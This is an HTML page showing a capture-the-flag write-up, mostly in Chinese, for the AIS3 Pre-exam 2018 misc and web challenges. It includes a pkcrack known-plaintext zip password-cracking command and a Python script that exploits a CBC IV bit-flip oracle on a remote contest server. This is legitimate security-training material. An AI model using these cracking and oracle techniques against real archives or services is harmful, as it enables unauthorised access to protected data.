-
Notifications
You must be signed in to change notification settings - Fork 38
/
Copy pathindex.html
986 lines (846 loc) · 68.9 KB
/
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
<!DOCTYPE HTML>
<!-- This page is modified from the template https://www.codeply.com/go/7XYosZ7VH5 by Carol Skelly (@iatek). -->
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>AIS3 Pre-exam 2018</title>
<link type="text/css" rel="stylesheet" href="../assets/css/github-markdown.css">
<link type="text/css" rel="stylesheet" href="../assets/css/pilcrow.css">
<link type="text/css" rel="stylesheet" href="../assets/css/hljs-github.min.css"/>
<link type="text/css" rel="stylesheet" href="../assets/css/bootstrap-4.0.0-beta.3.min.css">
<script type="text/javascript" src="../assets/js/jquery-3.3.1.slim.min.js"></script>
<script type="text/javascript" src="../assets/js/bootstrap-4.0.0-beta.3.min.js"></script>
<script type="text/javascript" src="../assets/js/popper-1.14.3.min.js"></script>
<script type="text/javascript" src="../assets/js/mathjax-2.7.4/MathJax.js?config=TeX-MML-AM_CHTML"></script>
</head>
<style>
body {
padding-top: 56px;
}
.sticky-offset {
top: 56px;
}
#body-row {
margin-left:0;
margin-right:0;
}
#sidebar-container {
min-height: 100vh;
background-color: #333;
padding: 0;
}
/* Sidebar sizes when expanded and expanded */
.sidebar-expanded {
width: 230px;
}
.sidebar-collapsed {
width: 60px;
}
/* Menu item*/
#sidebar-container .list-group a {
height: 50px;
color: white;
}
/* Submenu item*/
#sidebar-container .list-group .sidebar-submenu a {
height: 45px;
padding-left: 60px;
}
.sidebar-submenu {
font-size: 0.9rem;
}
/* Separators */
.sidebar-separator-title {
background-color: #333;
height: 35px;
}
.sidebar-separator {
background-color: #333;
height: 25px;
}
.logo-separator {
background-color: #333;
height: 60px;
}
/*
active scrollspy
*/
.list-group-item.active {
border-color: transparent;
border-left: #e69138 solid 4px;
}
/*
anchor padding top
https://stackoverflow.com/a/28824157
*/
:target:before {
content:"";
display:block;
height:56px; /* fixed header height*/
margin:-56px 0 0; /* negative fixed header height */
}
</style>
<script>
// https://stackoverflow.com/a/48330533
$(window).on('activate.bs.scrollspy', function (event) {
let active_collapse = $($('.list-group-item.active').parents()[0]);
$(".collapse").removeClass("show");
active_collapse.addClass("show");
let parent_menu = $('a[href="#' + active_collapse[0].id + '"]');
$('a[href^="#submenu"]').css("border-left", "");
parent_menu.css("border-left","#e69138 solid 4px");
});
// http://docs.mathjax.org/en/latest/tex.html#tex-and-latex-math-delimiters
MathJax.Hub.Config({
tex2jax: {
inlineMath: [['$','$'], ['\\(','\\)']],
processEscapes: true
}
});
</script>
<body style="position: relative;" data-spy="scroll" data-target=".sidebar-submenu" data-offset="70">
<nav class="navbar navbar-expand-md navbar-light bg-light fixed-top">
<button class="navbar-toggler navbar-toggler-right" type="button" data-toggle="collapse" data-target="#navbarNavDropdown" aria-controls="navbarNavDropdown" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<a class="navbar-brand" href="https://github.com/balsn/ctf_writeup">
<img src="https://github.githubassets.com/images/modules/logos_page/GitHub-Mark.png" class="d-inline-block align-top" alt="" width="30" height="30">
<span class="menu-collapsed">balsn / ctf_writeup</span>
</a>
<div class="collapse navbar-collapse" id="navbarNavDropdown">
<ul class="navbar-nav my-2 my-lg-0">
<li class="nav-item dropdown d-sm-block d-md-none">
<iframe src="https://ghbtns.com/github-btn.html?user=balsn&repo=ctf_writeup&type=watch&count=true&size=large&v=2" frameborder="0" scrolling="0" width="140px" height="30px"></iframe>
<iframe src="https://ghbtns.com/github-btn.html?user=balsn&repo=ctf_writeup&type=star&count=true&size=large" frameborder="0" scrolling="0" width="140px" height="30px"></iframe>
<a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
rev
</a>
<div class="dropdown-menu" aria-labelledby="smallerscreenmenu">
</div>
</li>
<li class="nav-item dropdown d-sm-block d-md-none">
<a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
pwn
</a>
<div class="dropdown-menu" aria-labelledby="smallerscreenmenu">
</div>
</li>
<li class="nav-item dropdown d-sm-block d-md-none">
<a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
misc
</a>
<div class="dropdown-menu" aria-labelledby="smallerscreenmenu">
<a class="dropdown-item" href="#misc-1">misc-1</a>
<a class="dropdown-item" href="#misc-2">misc-2</a>
<a class="dropdown-item" href="#misc-3">misc-3</a>
<a class="dropdown-item" href="#misc-4">misc-4</a>
</div>
</li>
<li class="nav-item dropdown d-sm-block d-md-none">
<a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
web
</a>
<div class="dropdown-menu" aria-labelledby="smallerscreenmenu">
<a class="dropdown-item" href="#web-1">web-1</a>
<a class="dropdown-item" href="#web-2">web-2</a>
<a class="dropdown-item" href="#web-3">web-3</a>
<a class="dropdown-item" href="#web-4">web-4</a>
</div>
</li>
<li class="nav-item dropdown d-sm-block d-md-none">
<a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
crypto
</a>
<div class="dropdown-menu" aria-labelledby="smallerscreenmenu">
<a class="dropdown-item" href="#crypto-1">crypto-1</a>
<a class="dropdown-item" href="#crypto-2">crypto-2</a>
<a class="dropdown-item" href="#crypto-3-(unsolved,-thanks-to-@how2hack)">crypto-3-(unsolved,-thanks-to-@how2hack)</a>
<a class="dropdown-item" href="#crypto-4">crypto-4</a>
</div>
</li>
</ul>
</div>
<div class="navbar-collapse collapse w-100 order-3 dual-collapse2">
<ul class="navbar-nav ml-auto">
<iframe src="https://ghbtns.com/github-btn.html?user=balsn&repo=ctf_writeup&type=watch&count=true&size=large&v=2" frameborder="0" scrolling="0" width="160px" height="30px"></iframe>
<iframe src="https://ghbtns.com/github-btn.html?user=balsn&repo=ctf_writeup&type=star&count=true&size=large" frameborder="0" scrolling="0" width="160px" height="30px"></iframe>
</ul>
</div>
</nav>
<div class="row" id="body-row">
<div id="sidebar-container" class="sidebar-expanded d-none d-md-block col-2">
<ul class="list-group sticky-top sticky-offset">
<a href="#submenu0" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark">
<div class="d-flex w-100 justify-content-start align-items-center font-weight-bold">
<span class="fa fa-dashboard fa-fw mr-3"></span>
<span class="menu-collapsed">rev</span>
<span class="submenu-icon ml-auto"></span>
</div>
</a>
<div id="submenu0" class="collapse sidebar-submenu">
</div>
<a href="#submenu1" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark">
<div class="d-flex w-100 justify-content-start align-items-center font-weight-bold">
<span class="fa fa-dashboard fa-fw mr-3"></span>
<span class="menu-collapsed">pwn</span>
<span class="submenu-icon ml-auto"></span>
</div>
</a>
<div id="submenu1" class="collapse sidebar-submenu">
</div>
<a href="#submenu2" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark">
<div class="d-flex w-100 justify-content-start align-items-center font-weight-bold">
<span class="fa fa-dashboard fa-fw mr-3"></span>
<span class="menu-collapsed">misc</span>
<span class="submenu-icon ml-auto"></span>
</div>
</a>
<div id="submenu2" class="collapse sidebar-submenu">
<a href="#misc-1" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">misc-1</span>
</a>
<a href="#misc-2" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">misc-2</span>
</a>
<a href="#misc-3" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">misc-3</span>
</a>
<a href="#misc-4" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">misc-4</span>
</a>
</div>
<a href="#submenu3" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark">
<div class="d-flex w-100 justify-content-start align-items-center font-weight-bold">
<span class="fa fa-dashboard fa-fw mr-3"></span>
<span class="menu-collapsed">web</span>
<span class="submenu-icon ml-auto"></span>
</div>
</a>
<div id="submenu3" class="collapse sidebar-submenu">
<a href="#web-1" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">web-1</span>
</a>
<a href="#web-2" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">web-2</span>
</a>
<a href="#web-3" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">web-3</span>
</a>
<a href="#web-4" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">web-4</span>
</a>
</div>
<a href="#submenu4" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark">
<div class="d-flex w-100 justify-content-start align-items-center font-weight-bold">
<span class="fa fa-dashboard fa-fw mr-3"></span>
<span class="menu-collapsed">crypto</span>
<span class="submenu-icon ml-auto"></span>
</div>
</a>
<div id="submenu4" class="collapse sidebar-submenu">
<a href="#crypto-1" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">crypto-1</span>
</a>
<a href="#crypto-2" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">crypto-2</span>
</a>
<a href="#crypto-3-(unsolved,-thanks-to-@how2hack)" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">crypto-3-(unsolved,-thanks-to-@how2hack)</span>
</a>
<a href="#crypto-4" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">crypto-4</span>
</a>
</div>
</ul>
</div>
<div class="col-10 py-3">
<article class="markdown-body"><h1 id="ais3-pre-exam-2018"><a class="header-link" href="#ais3-pre-exam-2018"></a>AIS3 Pre-exam 2018</h1>
<p><a href="https://ais3.org/">AIS3 (Advanced Information Security Summer School)</a> is a cyber security course in Taiwan. Therefore this writeup will be written in Chinese:)</p>
<p>By @bookgin, @sces60107</p>
<p>And thanks to @how2hack for the writeup of crypto 3!</p>
<h2 id="rev"><a class="header-link" href="#rev"></a>Rev</h2>
<p>@sces60107 破臺，但太忙沒空寫xD</p>
<h2 id="pwn"><a class="header-link" href="#pwn"></a>Pwn</h2>
<p>@sces60107 太忙沒空寫也沒空打xD</p>
<h2 id="misc"><a class="header-link" href="#misc"></a>Misc</h2>
<h3 id="misc-1"><a class="header-link" href="#misc-1"></a>Misc 1</h3>
<p>看題目中給的影片就有 flag 了。</p>
<h3 id="misc-2"><a class="header-link" href="#misc-2"></a>Misc 2</h3>
<p>這題給了一個圖片，想辦法找 flag。<img src="https://i.imgur.com/7O4997q.jpg" alt=""></p>
<p>圖一看就知道是假 flag，但還是手賤傳了一下然後被 server 嗆 incorrect (這次的解題平台還會紀錄 flag 錯誤次數XD)，再來就是圖片分析起手式 <a href="https://github.com/zardus/ctf-tools/tree/master/stegsolve">stegsolve</a>，也沒什麼東西，而且這次一張超糊的 jpg。</p>
<p>看來不是藏在圖片中，接下來就是 strings, binwalk, foremost，用binwalk/foremost 可以抽出一個 zip 檔，但是這個 zip 被加密了。</p>
<p>雖然 zip 有被加密，但是檔名、資料夾結構、檔案大小沒有加密，我們發現裡面有 <code>backup/Avengers_Infinity_War_Poster.jpg</code> 跟 <code>backup/flag</code> ，這張 Avengers Infinity War Poster 把檔案名稱上網搜尋，可以找到 <a href="https://kk.wikipedia.org/wiki/%D0%A1%D1%83%D1%80%D0%B5%D1%82:Avengers_Infinity_War_poster.jpg">wiki</a> 有一張檔案名稱一樣的，連大小都一樣，在<a href="https://upload.wikimedia.org/wikipedia/kk/archive/4/4d/20180606151139%21Avengers_Infinity_War_poster.jpg">這裡。</a></p>
<p>zip 有一種攻擊叫做 known-plaintext attack，在已知部份明文的情況下，可以算出壓縮檔案的密碼，這個在<a href="https://www.30cm.tw/2015/08/ctf-ais3-write-up.html">某一年 ais3 pre-exam 也出過</a>，用 pkcrack 就可以解開。</p>
<p>把明文的 zip 跟路徑弄好之後執行以下指令，得到密碼為 <code>asdfghjkl;</code></p>
<pre class="hljs"><code>./pkcrack -C flag.zip -c <span class="hljs-string">"backup/Avengers_Infinity_War_Poster.jpg"</span> -P plain.zip -p <span class="hljs-string">"backup/Avengers_Infinity_War_Poster.jpg"</span></code></pre><p>解開 zip 後得到 flag <code>AIS3{NONONONONONONONONONONO}</code>，但你以為這樣就結束了嗎？錯，這個 flag 是假的，送到解題平臺只會徒增 incorrect flag 的次數。</p>
<p>然後我就卡在這裡，嘗試在對原本的圖片做更詳細的分析、對 zip 做詳細檢查有沒有藏東西，但都一無所獲，看著解題人數有二三十人，應該是很簡單的方向，這個 zip known-plaintext attack 卻不是 flag......</p>
<p>最後主辦單位給出了 hint，印象中是叫我們注意 <code>AIS3{Not_this_one}</code> 第一個假 flag 的下方，請各位仔細回去看上面那張圖字的下排，你會發現跟上面明顯不對稱。@sces60107 很快發現這是摩斯密碼，我還在眼花看著高壓縮度的 jpg 不知道摩斯密碼在哪裡，看了大概五分鐘才看出來，這密碼解出來就是真的 flag 了。</p>
<p>本題非常具有金盾獎的水準。</p>
<p>在題目裡面放假的 flag 是還好，但這個 zip known-plaintext attack 的假 flag，讓人偏離正規解法太遠，這樣出題並不是很恰當。</p>
<h3 id="misc-3"><a class="header-link" href="#misc-3"></a>Misc 3</h3>
<p>題目給一個 mp3 音樂檔，聽上去就是一個人在清唱歌曲。</p>
<p>初步 strings, binwalk, foremost 都找不出任何有用的東西。進一步就是用 audacity/sonic visualizer 開起來看波形跟 spectrogram，但也沒什麼特別的。</p>
<p>這樣大致可以猜測這題可能是用某些專業的 audio stego 的軟體來做的，但是不知道那一款？</p>
<p>來試試看 Google <code>svega.mp3</code> ，沒有什麼收穫......（但 @sces60107 一搜尋第一個就是 mp3stego，我猜可能是 Google 預設語言/個人偏好設定不同，導致結果差很多）</p>
<p>那這樣只能有點無腦的暴力嘗試常見的 Audio Stego 軟體了，試了<a href="https://github.com/DominicBreuker/stego-toolkit">一些</a>都沒效，連 <a href="http://www.petitcolas.net/steganography/mp3stego/">mp3stego</a> 都試過了（用default的密碼 pass），但仔細想想覺得 mp3stego 還是最有可能的，因為他是我唯一找到 mp3 格式的 stego 軟體，但需要密碼才能解開。</p>
<p>之前嘗試 default 的密碼 <code>PASS</code>，密碼錯誤，那來試一下密碼空白呢？果然解密成功拿到 flag 。</p>
<h3 id="misc-4"><a class="header-link" href="#misc-4"></a>Misc 4</h3>
<p>這題有點可惜，我賽後十分鐘才解出來，遠端的 nc 實在是太慢了 XD</p>
<p>先附上 server 的 code：</p>
<pre class="hljs"><code><span class="hljs-keyword">import</span> os
<span class="hljs-keyword">from</span> Crypto.Cipher <span class="hljs-keyword">import</span> AES
<span class="hljs-keyword">from</span> base64 <span class="hljs-keyword">import</span> b64decode
key = os.urandom(<span class="hljs-number">16</span>)
answer = int.from_bytes(os.urandom(<span class="hljs-number">16</span>), <span class="hljs-string">'big'</span>)
<span class="hljs-keyword">with</span> open(<span class="hljs-string">"flag"</span>, <span class="hljs-string">'r'</span>) <span class="hljs-keyword">as</span> data:
flag = data.read().strip()
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">decrypt</span><span class="hljs-params">(text)</span>:</span>
iv, text = text[:<span class="hljs-number">16</span>], text[<span class="hljs-number">16</span>:]
aes = AES.new(key, AES.MODE_CBC, iv)
<span class="hljs-keyword">return</span> aes.decrypt(text)
print(<span class="hljs-string">"===== Welcome to number game ====="</span>)
<span class="hljs-keyword">while</span> <span class="hljs-keyword">True</span>:
number = decrypt(b64decode(input(<span class="hljs-string">"guess : "</span>).strip()))[:<span class="hljs-number">16</span>]
number = int.from_bytes(number, <span class="hljs-string">'big'</span>)
<span class="hljs-keyword">if</span> number > answer: print(<span class="hljs-string">"Too big"</span>)
<span class="hljs-keyword">elif</span> number < answer: print(<span class="hljs-string">"Too small"</span>)
<span class="hljs-keyword">else</span>: print(flag)</code></pre><p>題目會有一個答案，然後你可以給他一個數字，透過 CBC 的特性改 IV 能夠翻轉不同 bit，server 會告訴你你的數字比他大還是比他小，如果一樣就可以拿到 flag，總共有 128 bits。</p>
<p>首先先想一下，我們有機會 bit by bit 猜嗎？</p>
<p>如果第一個 bit 被我們猜中了，那我們在透過翻轉剩下的 127 bits，必定可以找到兩組數字，一組比答案大，一組比答案小；相反的如果我們第一個 bit 就猜錯，那無論怎麼翻轉剩下的 bits，都只會恆比答案大，或是恆比答案小。</p>
<p>舉例來說，我們一次翻兩個 bits，即 [00, 01] 與 [10, 11]，如果其中有一組出現一大一小，那我們可以確定該組的第一個 bit 是對的。如果沒有一組出現一大一小，只好一次翻三個 bits，即 [000, 001], [010, 011], [100,101], [110,111]，這四組之中若有一組出現一大一小，那我們可以確定該組的前兩個 bits 是對的。</p>
<p>那 worse case 的複雜度呢？假設答案是 1 ，我們原本猜測的數字是 0，那這個情況要到一次翻前127 bits 時，某一組出現 [00000...0, 00000...1]，才會發現一大一小，這個 worse case 可是有著 要翻 $2^{128}$ 次才能發現........</p>
<p>進一步考慮 worse case 發生的情況，會發現其實沒這麼容易發生，在答案隨機的情況下，需要一次翻 10 個 bits 的發生機率為 $ 2^{-9}$ （需要考慮 0 與 1 的狀況），所以就可以利用上述方法來猜每個 bit 了。 </p>
<p>解題 script 寫的很醜，因為解題的的當下有一段時間沒有好好睡覺了XD</p>
<pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/env python3</span>
<span class="hljs-comment"># Python 3.6.5</span>
<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *
<span class="hljs-keyword">import</span> base64
<span class="hljs-keyword">import</span> string, os
<span class="hljs-keyword">from</span> itertools <span class="hljs-keyword">import</span> product
chars = string.digits + string.ascii_letters
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">PoW</span><span class="hljs-params">(prefix)</span>:</span>
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> product(*[chars <span class="hljs-keyword">for</span> _ <span class="hljs-keyword">in</span> range(<span class="hljs-number">5</span>)]):
x = prefix + <span class="hljs-string">''</span>.join(i)
sha256 = hashlib.sha256()
sha256.update(x.encode())
<span class="hljs-keyword">if</span> sha256.hexdigest()[:<span class="hljs-number">6</span>] == <span class="hljs-string">'000000'</span>:
<span class="hljs-keyword">return</span> x
<span class="hljs-keyword">raise</span> RuntimeError(<span class="hljs-string">"Unfortunately, PoW not found."</span>)
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">b64</span><span class="hljs-params">(n)</span>:</span>
<span class="hljs-keyword">return</span> base64.b64encode(n.to_bytes(<span class="hljs-number">16</span>, byteorder=<span class="hljs-string">'big'</span>) + <span class="hljs-string">b'SlowpokeIsCute<3'</span>)
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">isSmall</span><span class="hljs-params">(n)</span>:</span>
<span class="hljs-comment">#print(s.recvuntil(b': '))</span>
s.sendline(b64(n))
r = s.recvuntil(<span class="hljs-string">'\n'</span>).decode()
<span class="hljs-keyword">if</span> <span class="hljs-string">'AIS3'</span> <span class="hljs-keyword">in</span> r:
print(r)
exit(<span class="hljs-number">0</span>)
<span class="hljs-keyword">return</span> <span class="hljs-string">'small'</span> <span class="hljs-keyword">in</span> r
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">p</span><span class="hljs-params">(n)</span>:</span>
print(<span class="hljs-string">'{:0128b}'</span>.format(n))
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">guess</span><span class="hljs-params">(n, idx, prefix_bits=<span class="hljs-number">0</span>)</span>:</span> <span class="hljs-comment"># BFS</span>
<span class="hljs-keyword">if</span> (prefix_bits == <span class="hljs-number">8</span> <span class="hljs-keyword">or</span> prefix_bits > idx): <span class="hljs-comment"># oh we fail</span>
print(<span class="hljs-string">'fail'</span>)
<span class="hljs-keyword">return</span> <span class="hljs-keyword">None</span>
<span class="hljs-keyword">assert</span> n & ((<span class="hljs-number">1</span><<(idx+<span class="hljs-number">1</span>))<span class="hljs-number">-1</span>) == <span class="hljs-number">0</span>
<span class="hljs-keyword">for</span> prefix <span class="hljs-keyword">in</span> range(<span class="hljs-number">1</span><<prefix_bits):
x = n | prefix<<(idx-prefix_bits+<span class="hljs-number">1</span>)
print(idx, prefix_bits)
y = x | <span class="hljs-number">1</span><<(idx-prefix_bits)
<span class="hljs-keyword">if</span> isSmall(x) != isSmall(y): <span class="hljs-comment"># TADA !</span>
<span class="hljs-keyword">return</span> (x, y), idx - prefix_bits - <span class="hljs-number">1</span>
<span class="hljs-keyword">return</span> guess(n, idx, prefix_bits+<span class="hljs-number">1</span>)
s = remote(<span class="hljs-string">'104.199.235.135'</span>, <span class="hljs-number">20004</span>)
pow_str = s.recvuntil(<span class="hljs-string">'x = '</span>).decode()
x_prefix = pow_str.split(<span class="hljs-string">"'"</span>)[<span class="hljs-number">1</span>]
ans = PoW(x_prefix)
s.sendline(ans)
s.recvuntil(<span class="hljs-string">'\n'</span>)
idx = <span class="hljs-number">8</span>*<span class="hljs-number">16</span><span class="hljs-number">-2</span>
n0, n1 = <span class="hljs-number">0</span>, <span class="hljs-number">1</span><<<span class="hljs-number">127</span>
<span class="hljs-keyword">while</span> <span class="hljs-keyword">True</span>:
res = guess(n0, idx)
<span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> res:
res = guess(n1, idx)
<span class="hljs-keyword">assert</span> res <span class="hljs-keyword">is</span> <span class="hljs-keyword">not</span> <span class="hljs-keyword">None</span>
(n0, n1), idx = res
p(n0)
p(n1)</code></pre><p>Flag: <code>AIS3{ag3NTs Of S.H.I.E.L.D. - I 10V3 d4Isy J0HNs0n}</code></p>
<p>這題沒有到太難，但前兩天都沒人解，貌似是因為 timeout ，原本好像只有 150 秒的限制，後來調到 300 秒再調到 600 秒的樣子(含PoW)。</p>
<h2 id="web"><a class="header-link" href="#web"></a>Web</h2>
<h3 id="web-1"><a class="header-link" href="#web-1"></a>Web 1</h3>
<p>如題目敘述，HTTP response header 就有部份 flag，寫個 script 抓一下就好。</p>
<h3 id="web-2"><a class="header-link" href="#web-2"></a>Web 2</h3>
<p>沒記錯的話應該是掃 robots.txt 之類的找到 <code>_hidden_flag_.php</code>，這個頁面會用 js 讓你等十幾秒，時間到了會有按鈕跑出來進入下一個頁面，這個 js 被混淆過了：</p>
<pre class="hljs"><code><span class="hljs-keyword">var</span> _0x13ed=[<span class="hljs-string">'getElementById'</span>,<span class="hljs-string">'disp'</span>,<span class="hljs-string">'setInterval'</span>,<span class="hljs-string">'onload'</span>,<span class="hljs-string">'clearInterval'</span>,<span class="hljs-string">'innerHTML'</span>,<span class="hljs-string">'<input\x20type=\x22submit\x22\x20value=\x22Get\x20flag\x20in\x20the\x20next\x20page.\x22/>'</span>];(<span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params">_0x4ff87b,_0x35e2bc</span>)</span>{<span class="hljs-keyword">var</span> _0x2c01be=<span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params">_0x216360</span>)</span>{<span class="hljs-keyword">while</span>(--_0x216360){_0x4ff87b[<span class="hljs-string">'push'</span>](_0x4ff87b[<span class="hljs-string">'shift'</span>]());}};_0x2c01be(++_0x35e2bc);}(_0x13ed,<span class="hljs-number">0x13f</span>));<span class="hljs-keyword">var</span> _0x5d44=<span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params">_0x592680,_0x1e9b97</span>)</span>{_0x592680=_0x592680<span class="hljs-number">-0x0</span>;<span class="hljs-keyword">var</span> _0x50206c=_0x13ed[_0x592680];<span class="hljs-keyword">return</span> _0x50206c;};<span class="hljs-keyword">var</span> left=<span class="hljs-number">0x0</span>;<span class="hljs-keyword">var</span> timer=<span class="hljs-literal">null</span>;<span class="hljs-keyword">var</span> disp=<span class="hljs-literal">null</span>;<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">countdown</span>(<span class="hljs-params"></span>)</span>{left=left<span class="hljs-number">-0x1</span>;<span class="hljs-keyword">if</span>(timer!=<span class="hljs-literal">null</span>&&left==<span class="hljs-number">0x0</span>){<span class="hljs-built_in">window</span>[_0x5d44(<span class="hljs-string">'0x0'</span>)](timer);timer=<span class="hljs-literal">null</span>;disp[_0x5d44(<span class="hljs-string">'0x1'</span>)]=_0x5d44(<span class="hljs-string">'0x2'</span>);}<span class="hljs-keyword">else</span>{disp[_0x5d44(<span class="hljs-string">'0x1'</span>)]=<span class="hljs-string">'('</span>+left+<span class="hljs-string">')'</span>;}}<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">setup</span>(<span class="hljs-params"></span>)</span>{disp=<span class="hljs-built_in">document</span>[_0x5d44(<span class="hljs-string">'0x3'</span>)](_0x5d44(<span class="hljs-string">'0x4'</span>));left=<span class="hljs-number">0xa</span>+<span class="hljs-built_in">parseInt</span>(<span class="hljs-built_in">Math</span>[<span class="hljs-string">'random'</span>]()*<span class="hljs-number">0xa</span>);timer=<span class="hljs-built_in">window</span>[_0x5d44(<span class="hljs-string">'0x5'</span>)](countdown,<span class="hljs-number">0x3e8</span>);disp[_0x5d44(<span class="hljs-string">'0x1'</span>)]=<span class="hljs-string">'('</span>+left+<span class="hljs-string">')'</span>;}<span class="hljs-built_in">window</span>[_0x5d44(<span class="hljs-string">'0x6'</span>)]=setup;</code></pre><p>事實上根本沒必要看，但我還是分析了一下，就只是 Math.random 隨機秒數之後產生 button，拿頁面上的參數送 post 去下一關。</p>
<p>再度觀察 header (thanks to @sces60107 的提醒)，header 會告知你有沒有拿到正確的 flag，所以寫 script 一直送 request，往下一關走，判斷 header 有沒有 flag 就好，總共送個一兩萬筆 request 就能拿到 flag。</p>
